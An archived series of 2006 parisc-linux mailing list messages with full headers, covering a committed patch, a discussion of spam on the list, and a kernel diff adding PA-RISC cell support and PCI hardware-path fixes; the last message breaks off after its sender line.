Xref: news.gmane.org gmane.linux.ports.parisc:25413

On Fri, Dec 01, 2006 at 11:23:55AM -0700, Grant Grundler wrote:
> I've committed a variant of this to git://git.parisc-linux.org/git/linux-2.6.git
> I didn't test the failure case - only that it doesn't trigger with
> my current gcc 4.x compilers.
> 
> I expect Kyle will push parisc tree to linus in the near future.
> 
> Signed-off-by: Grant Grundler <grundler@parisc-linux.org>
> 

I like the version ggg committed to our cvs better (and I verified it
correctly functions with gcc-3.0 from Debian woody.)

Picked into my tree.

Cheers,
	Kyle
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:37:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Anonymous posting?
Date: Wed, 13 Dec 2006 23:52:13 -0700
Lines: 28
Approved: news@gmane.org
Message-ID: <20061214065213.GB8325__2935.21285425431$1416624632$gmane$org@colo.lackof.org>
References: <45805DC3.9040309@excelcia.org>
	<200612132048.kBDKmxgL021779@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624632 28326 80.91.229.3 (22 Nov 2014 02:50:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:50:32 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org,
 Kurt Fitzner <kfitzner@excelcia.org>,
 T-Bone@parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:28:27 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 14 Dec 2006 06:52:31 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx004) with SMTP; 14 Dec 2006 07:52:31 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 475727D97D;
	Wed, 13 Dec 2006 23:52:26 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 16697-03; Wed, 13 Dec 2006 23:52:26 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 53F297D96B;
	Wed, 13 Dec 2006 23:52:24 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id BF6DC7D967
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 13 Dec 2006 23:52:19 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 15910-10 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 13 Dec 2006 23:52:18 -0700 (MST)
Original-Received: from mail.parisc-linux.org (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 5F8B47D966
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 13 Dec 2006 23:52:18 -0700 (MST)
Original-Received: by mail.parisc-linux.org (Postfix)
	id 1627549400C; Wed, 13 Dec 2006 23:52:18 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(Client CN "mail.lackof.org",
	Issuer "CAcert Class 3 Root" (verified OK))
	by mail.parisc-linux.org (Postfix) with ESMTP id CBCCC49400A;
	Wed, 13 Dec 2006 23:52:15 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id A20B0368291;
	Wed, 13 Dec 2006 23:52:13 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 10995-05; Wed, 13 Dec 2006 23:52:13 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 4505736828C; Wed, 13 Dec 2006 23:52:13 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <200612132048.kBDKmxgL021779@hiauly1.hia.nrc.ca>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 1J3lBNwrfW4oTuWveGVoSk1mdmllcgUE
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25414

On Wed, Dec 13, 2006 at 03:48:58PM -0500, John David Anglin wrote:
> I agree.  As one who receives a lot of spam, I know the amount
> of spam will grow and overwhelm the content if the list is left
> open without antivirus and spam protection.  This may cause
> spam filters to reject all messages from the list.

Any objection to moving the list to a different service
that can provide spam protection and host the list?

I've created parisc-linux on google (just to reserve the name)
but want some more comments on the basic premise that we should
migrate the service first.

> The GCC project uses proofpoint virus and spam protection, and the
> lists have very little spam on them.  This may not be feasible for
> the parisc-linux list without hosting support but something is needed.

I guess so - I see it in the archives even if I don't see it
after my spamassassin setup filters it out.

thanks,
grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:37:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Anonymous posting?
Date: Thu, 14 Dec 2006 18:44:24 +0800
Lines: 24
Approved: news@gmane.org
Message-ID: <45812B08.5030409__49561.9320929565$1416624633$gmane$org@tausq.org>
References: <45805DC3.9040309@excelcia.org>	<200612132048.kBDKmxgL021779@hiauly1.hia.nrc.ca>	<20061214065213.GB8325@colo.lackof.org>
	<20061214091436.GV14042@lug-owl.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624633 28329 80.91.229.3 (22 Nov 2014 02:50:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:50:33 +0000 (UTC)
To: Grant Grundler <grundler@parisc-linux.org>,
 John David Anglin <dave@hiauly1.hia.nrc.ca>,
 parisc-linux@parisc-linux.org,
 Kurt Fitzner <kfitzner@excelcia.org>,
 T-Bone@parisc-linux.org
Original-X-From: - Wed Jul 02 21:28:27 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 14 Dec 2006 10:44:47 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx014) with SMTP; 14 Dec 2006 11:44:47 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 30E267D685;
	Thu, 14 Dec 2006 03:44:44 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 18720-09; Thu, 14 Dec 2006 03:44:44 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5E15F7DA22;
	Thu, 14 Dec 2006 03:44:41 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D09D77DA12
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 14 Dec 2006 03:44:37 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 18562-09 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 14 Dec 2006 03:44:36 -0700 (MST)
Original-Received: from mail.parisc-linux.org (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 6FFAD7DA0B
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 14 Dec 2006 03:44:36 -0700 (MST)
Original-Received: by mail.parisc-linux.org (Postfix)
	id 35D8349400E; Thu, 14 Dec 2006 03:44:36 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mailhub.stlglobal.com (ip127.bb146.pacific.net.hk
	[202.64.146.127]) (using TLSv1 with cipher AES256-SHA (256/256 bits))
	(Client did not present a certificate)
	by mail.parisc-linux.org (Postfix) with ESMTP id B125549400A;
	Thu, 14 Dec 2006 03:44:32 -0700 (MST)
Original-Received: from rccomp.stlglobal.com ([192.168.100.200])
	by mailhub.stlglobal.com with esmtp (Exim 4.50)
	id 1Guo4T-0007Ut-9u; Thu, 14 Dec 2006 18:44:13 +0800
User-Agent: Thunderbird 1.5.0.8 (Windows/20061025)
In-Reply-To: <20061214091436.GV14042@lug-owl.de>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: Fh6zfe16PjltCOrBOTU2QHEzMTE2NcnR
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25415

> I don't think it's *that* much work to implement some basic spam
> filtering. Just pipe it through spamc and drop everything above a
> certain spam level for the first step.
> 
> Feeding back unrecognized spam would help to make it better, though.
> 
> As far as other services would be used, why not just move to
> vger.kernel.org?

We can, the only concern is that moving to a new service means we may
lose some subscribers....

In any case, Kyle has implemented some steps to mitigate the issue with
spam on the list. I expect we will see significant improvement from now
on. Thanks Kyle!! :-)

randolph

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:37:01 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Cell support and fix PCI PDC paths
Date: Mon, 25 Dec 2006 16:13:28 -0700
Lines: 340
Approved: news@gmane.org
Message-ID: <20061225231328.GA5741__29658.9773883627$1416624633$gmane$org@parisc-linux.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624633 28331 80.91.229.3 (22 Nov 2014 02:50:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:50:33 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: - Wed Jul 02 21:28:27 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 25 Dec 2006 23:13:41 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx097) with SMTP; 26 Dec 2006 00:13:41 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 327797D7FE;
	Mon, 25 Dec 2006 16:13:38 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 07126-06; Mon, 25 Dec 2006 16:13:38 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id F00357D80E;
	Mon, 25 Dec 2006 16:13:35 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1BD667D7FE
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 25 Dec 2006 16:13:31 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 06986-09 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 25 Dec 2006 16:13:29 -0700 (MST)
Original-Received: from mail.parisc-linux.org (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 869777D7F9
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 25 Dec 2006 16:13:29 -0700 (MST)
Original-Received: by mail.parisc-linux.org (Postfix)
	id 4B2ED494054; Mon, 25 Dec 2006 16:13:29 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: by mail.parisc-linux.org (Postfix, from userid 26919)
	id 39D96494005; Mon, 25 Dec 2006 16:13:29 -0700 (MST)
Content-Disposition: inline
User-Agent: Mutt/1.5.13 (2006-08-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: cT7iZdU+eSE5SL6WZHQhjxB2IGRvb4AR
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25416


Grant noted that the way we construct a PDC
address for a PCI device is wrong on some machines
(ftp://ftp.parisc-linux.org/patches/diff-2.6.20-rc1-PCI_hwpath).
I noticed the PDC_PAT_IO_GET_HW_FROM_PCI_CONFIG procedure in the PAT
PDC document, and decided we should use it instead where we can.

I also noticed that the definition of the flags byte has been changed
for PAT machines -- the bottom 6 bits now define which cell the device is
attached to.  This explains (for example) why we get a duplicate hwpath
for Vesa's rp8400.

We would have got wrong results from the pdc_stable driver when it tried
to read the timeout value, so I've just disabled that sysfs file on pdc
machines for now.

I chose to implement cellular support by tagging each parisc_device
with a 'cell' byte, rather than the more obvious creation of a set of
cell parisc_devices as I thought this would minimise code churn and
memory consumption.

I didn't like the use of PF_* for flag definitions.  To me, PF_* are
networking protocol families (eg PF_INET).  So I changed that to HWP
for hardware path.

Testing appreciated; I've only tried it on an N-class.

diff --git a/arch/parisc/kernel/drivers.c b/arch/parisc/kernel/drivers.c
index 6274cd2..51a6384 100644
--- a/arch/parisc/kernel/drivers.c
+++ b/arch/parisc/kernel/drivers.c
@@ -36,6 +36,7 @@
 #include <asm/hardware.h>
 #include <asm/io.h>
 #include <asm/pdc.h>
+#include <asm/pdcpat.h>
 #include <asm/parisc-device.h>
 
 /* See comments in include/asm-parisc/pci.h */
@@ -306,9 +307,15 @@ static void get_node_path(struct device *dev, struct hardware_path *path)
 	memset(&path->bc, -1, 6);
 
 	if (is_pci_dev(dev)) {
-		unsigned int devfn = to_pci_dev(dev)->devfn;
-		path->mod = PCI_FUNC(devfn);
-		path->bc[i--] = PCI_SLOT(devfn);
+		struct pci_dev *pdev = to_pci_dev(dev);
+		if (is_pdc_pat()) {
+			int ret = pdc_pat_get_hwpath_from_pci(
+						pdc_address(pdev), path);
+			if (ret == PDC_OK)
+				return;
+		}
+		path->mod = PCI_FUNC(pdev->devfn);
+		path->bc[i--] = PCI_SLOT(pdev->devfn);
 		dev = dev->parent;
 	}
 
@@ -318,6 +325,8 @@ static void get_node_path(struct device *dev, struct hardware_path *path)
 			path->bc[i--] = PCI_SLOT(devfn) | (PCI_FUNC(devfn)<< 5);
 		} else if (dev->bus == &parisc_bus_type) {
 			path->bc[i--] = to_parisc_device(dev)->hw_path;
+			if (is_pdc_pat())
+				path->flags = to_parisc_device(dev)->cell;
 		}
 		dev = dev->parent;
 	}
@@ -326,6 +335,10 @@ static void get_node_path(struct device *dev, struct hardware_path *path)
 static char *print_hwpath(struct hardware_path *path, char *output)
 {
 	int i;
+
+	if (is_pdc_pat())
+		output += sprintf(output, "%u/", path->flags & HWP_CELL);
+
 	for (i = 0; i < 6; i++) {
 		if (path->bc[i] == -1)
 			continue;
@@ -406,13 +419,15 @@ static void setup_bus_id(struct parisc_device *padev)
 	sprintf(output, "%u", (unsigned char) padev->hw_path);
 }
 
-struct parisc_device * create_tree_node(char id, struct device *parent)
+static struct parisc_device *
+create_tree_node(struct device *parent, char cell, char id)
 {
 	struct parisc_device *dev = kzalloc(sizeof(*dev), GFP_KERNEL);
 	if (!dev)
 		return NULL;
 
 	dev->hw_path = id;
+	dev->cell = cell;
 	dev->id.hw_type = HPHW_FAULTY;
 
 	dev->dev.parent = parent;
@@ -434,6 +449,7 @@ struct parisc_device * create_tree_node(char id, struct device *parent)
 
 struct match_id_data {
 	char id;
+	char cell;
 	struct parisc_device * dev;
 };
 
@@ -442,7 +458,7 @@ static int match_by_id(struct device * dev, void * data)
 	struct parisc_device * pdev = to_parisc_device(dev);
 	struct match_id_data * d = data;
 
-	if (pdev->hw_path == d->id) {
+	if (pdev->hw_path == d->id && pdev->cell == d->cell) {
 		d->dev = pdev;
 		return 1;
 	}
@@ -457,27 +473,29 @@ static int match_by_id(struct device * dev, void * data)
  * Checks all the children of @parent for a matching @id.  If none
  * found, it allocates a new device and returns it.
  */
-static struct parisc_device * alloc_tree_node(struct device *parent, char id)
+static struct parisc_device * alloc_tree_node(struct device *parent, char cell, char id)
 {
 	struct match_id_data d = {
 		.id = id,
+		.cell = cell,
 	};
 	if (device_for_each_child(parent, &d, match_by_id))
 		return d.dev;
 	else
-		return create_tree_node(id, parent);
+		return create_tree_node(parent, cell, id);
 }
 
 static struct parisc_device *create_parisc_device(struct hardware_path *modpath)
 {
 	int i;
+	char cell = is_pdc_pat() ? modpath->flags & HWP_CELL : 0;
 	struct device *parent = &root;
 	for (i = 0; i < 6; i++) {
 		if (modpath->bc[i] == -1)
 			continue;
-		parent = &alloc_tree_node(parent, modpath->bc[i])->dev;
+		parent = &alloc_tree_node(parent, cell, modpath->bc[i])->dev;
 	}
-	return alloc_tree_node(parent, modpath->mod);
+	return alloc_tree_node(parent, cell, modpath->mod);
 }
 
 struct parisc_device *
diff --git a/arch/parisc/kernel/firmware.c b/arch/parisc/kernel/firmware.c
index 9158b70..7516790 100644
--- a/arch/parisc/kernel/firmware.c
+++ b/arch/parisc/kernel/firmware.c
@@ -1387,6 +1387,20 @@ int pdc_pat_io_pci_cfg_write(unsigned long pci_addr, int pci_size, u32 val)
 
 	return retval;
 }
+
+int pdc_pat_get_hwpath_from_pci(unsigned long pci_addr, struct hardware_path *path)
+{
+	int retval;
+	unsigned long flags;
+
+	spin_lock_irqsave(&pdc_lock, flags);
+	retval = mem_pdc_call(PDC_PAT_IO, PDC_PAT_IO_GET_HW_FROM_PCI_CONFIG,
+			__pa(pdc_result), pci_addr);
+	memcpy(path, pdc_result, 8);
+	spin_unlock_irqrestore(&pdc_lock, flags);
+
+	return retval;
+}
 #endif /* __LP64__ */
 
 
diff --git a/drivers/parisc/pdc_stable.c b/drivers/parisc/pdc_stable.c
index ea1b7a6..66afab8 100644
--- a/drivers/parisc/pdc_stable.c
+++ b/drivers/parisc/pdc_stable.c
@@ -67,6 +67,7 @@
 #include <linux/spinlock.h>
 
 #include <asm/pdc.h>
+#include <asm/pdcpat.h>
 #include <asm/page.h>
 #include <asm/uaccess.h>
 #include <asm/hardware.h>
@@ -541,7 +542,7 @@ pdcs_size_read(struct subsystem *entry, char *buf)
  * pdcs_auto_read - Stable Storage autoboot/search flag output.
  * @entry: An allocated and populated subsytem struct. We don't use it tho.
  * @buf: The output buffer to write to.
- * @knob: The PF_AUTOBOOT or PF_AUTOSEARCH flag
+ * @knob: The HWP_AUTOBOOT or HWP_AUTOSEARCH flag
  */
 static ssize_t
 pdcs_auto_read(struct subsystem *entry, char *buf, int knob)
@@ -571,7 +572,7 @@ pdcs_auto_read(struct subsystem *entry, char *buf, int knob)
 static inline ssize_t
 pdcs_autoboot_read(struct subsystem *entry, char *buf)
 {
-	return pdcs_auto_read(entry, buf, PF_AUTOBOOT);
+	return pdcs_auto_read(entry, buf, HWP_AUTOBOOT);
 }
 
 /**
@@ -582,7 +583,7 @@ pdcs_autoboot_read(struct subsystem *entry, char *buf)
 static inline ssize_t
 pdcs_autosearch_read(struct subsystem *entry, char *buf)
 {
-	return pdcs_auto_read(entry, buf, PF_AUTOSEARCH);
+	return pdcs_auto_read(entry, buf, HWP_AUTOSEARCH);
 }
 
 /**
@@ -597,19 +598,28 @@ pdcs_timer_read(struct subsystem *entry, char *buf)
 {
 	char *out = buf;
 	struct pdcspath_entry *pathentry;
+	int timer;
 
 	if (!entry || !buf)
 		return -EINVAL;
 
+	/*
+	 * PDC PAT machines use the timer field for something different.
+	 * I don't know where they keep the timer field now ...
+	 */
+	if (is_pdc_pat())
+		return -ENODEV;
+
 	/* Current flags are stored in primary boot path entry */
 	pathentry = &pdcspath_entry_primary;
 
-	/* print the timer value in seconds */
 	read_lock(&pathentry->rw_lock);
-	out += sprintf(out, "%u\n", (pathentry->devpath.flags & PF_TIMER) ?
-				(1 << (pathentry->devpath.flags & PF_TIMER)) : 0);
+	timer = pathentry->devpath.flags & HWP_TIMER;
 	read_unlock(&pathentry->rw_lock);
 
+	/* print the timer value in seconds */
+	out += sprintf(out, "%u\n", timer ? (1 << timer) : 0);
+
 	return out - buf;
 }
 
@@ -751,7 +761,7 @@ pdcs_osdep2_read(struct subsystem *entry, char *buf)
  * @entry: An allocated and populated subsytem struct. We don't use it tho.
  * @buf: The input buffer to read from.
  * @count: The number of bytes to be read.
- * @knob: The PF_AUTOBOOT or PF_AUTOSEARCH flag
+ * @knob: The HWP_AUTOBOOT or HWP_AUTOSEARCH flag
  * 
  * We will call this function to change the current autoboot flag.
  * We expect a precise syntax:
@@ -811,7 +821,7 @@ pdcs_auto_write(struct subsystem *entry, const char *buf, size_t count, int knob
 	write_unlock(&pathentry->rw_lock);
 	
 	printk(KERN_INFO PDCS_PREFIX ": changed \"%s\" to \"%s\"\n",
-		(knob & PF_AUTOBOOT) ? "autoboot" : "autosearch",
+		(knob & HWP_AUTOBOOT) ? "autoboot" : "autosearch",
 		(flags & knob) ? "On" : "Off");
 	
 	return count;
@@ -834,7 +844,7 @@ parse_error:
 static inline ssize_t
 pdcs_autoboot_write(struct subsystem *entry, const char *buf, size_t count)
 {
-	return pdcs_auto_write(entry, buf, count, PF_AUTOBOOT);
+	return pdcs_auto_write(entry, buf, count, HWP_AUTOBOOT);
 }
 
 /**
@@ -850,7 +860,7 @@ pdcs_autoboot_write(struct subsystem *entry, const char *buf, size_t count)
 static inline ssize_t
 pdcs_autosearch_write(struct subsystem *entry, const char *buf, size_t count)
 {
-	return pdcs_auto_write(entry, buf, count, PF_AUTOSEARCH);
+	return pdcs_auto_write(entry, buf, count, HWP_AUTOSEARCH);
 }
 
 /**
diff --git a/include/asm-parisc/parisc-device.h b/include/asm-parisc/parisc-device.h
index e12624d..feb1861 100644
--- a/include/asm-parisc/parisc-device.h
+++ b/include/asm-parisc/parisc-device.h
@@ -12,6 +12,7 @@ struct parisc_device {
 	int		aux_irq;	/* Some devices have a second IRQ */
 
 	char		hw_path;        /* The module number on this bus */
+	char		cell;		/* Only on PAT machines */
 	unsigned int	num_addrs;	/* some devices have additional address ranges. */
 	unsigned long	*addr;          /* which will be stored here */
  
diff --git a/include/asm-parisc/pdc.h b/include/asm-parisc/pdc.h
index 423c2b8..7f8f4ef 100644
--- a/include/asm-parisc/pdc.h
+++ b/include/asm-parisc/pdc.h
@@ -561,9 +561,10 @@ struct pdc_hpmc_pim_20 { /* PDC_PIM */
 #endif /* __ASSEMBLY__ */
 
 /* flags of the device_path (see below) */
-#define	PF_AUTOBOOT	0x80
-#define	PF_AUTOSEARCH	0x40
-#define	PF_TIMER	0x0F
+#define HWP_AUTOBOOT	0x80
+#define HWP_AUTOSEARCH	0x40
+#define HWP_CELL	0x3F	/* On PAT systems */
+#define HWP_TIMER	0x0F	/* Non-PAT systems */
 
 #ifndef __ASSEMBLY__
 
diff --git a/include/asm-parisc/pdcpat.h b/include/asm-parisc/pdcpat.h
index 47539f1..35882d8 100644
--- a/include/asm-parisc/pdcpat.h
+++ b/include/asm-parisc/pdcpat.h
@@ -192,15 +192,20 @@
 
 #ifdef CONFIG_64BIT
 #define is_pdc_pat()	(PDC_TYPE_PAT == pdc_type)
-extern int pdc_pat_get_irt_size(unsigned long *num_entries, unsigned long cell_num);
+extern int pdc_pat_get_irt_size(unsigned long *num_entries,
+						unsigned long cell_num);
 extern int pdc_pat_get_irt(void *r_addr, unsigned long cell_num);
+extern int pdc_pat_get_hwpath_from_pci(unsigned long address,
+						struct hardware_path *path);
 #else	/* ! CONFIG_64BIT */
 /* No PAT support for 32-bit kernels...sorry */
 #define is_pdc_pat()	(0)
 #define pdc_pat_get_irt_size(num_entries, cell_numn)	PDC_BAD_PROC
 #define pdc_pat_get_irt(r_addr, cell_num)		PDC_BAD_PROC
+#define pdc_pat_get_hwpath_from_pci(address, path)	PDC_BAD_PROC
 #endif	/* ! CONFIG_64BIT */
 
+#define pdc_address(dev) (dev->bus->number << 16) | (dev->devfn << 8)
 
 struct pdc_pat_cell_num {
 	unsigned long cell_num;
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:37:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Thibaut VARENE" <T-Bone@parisc-linux.org>
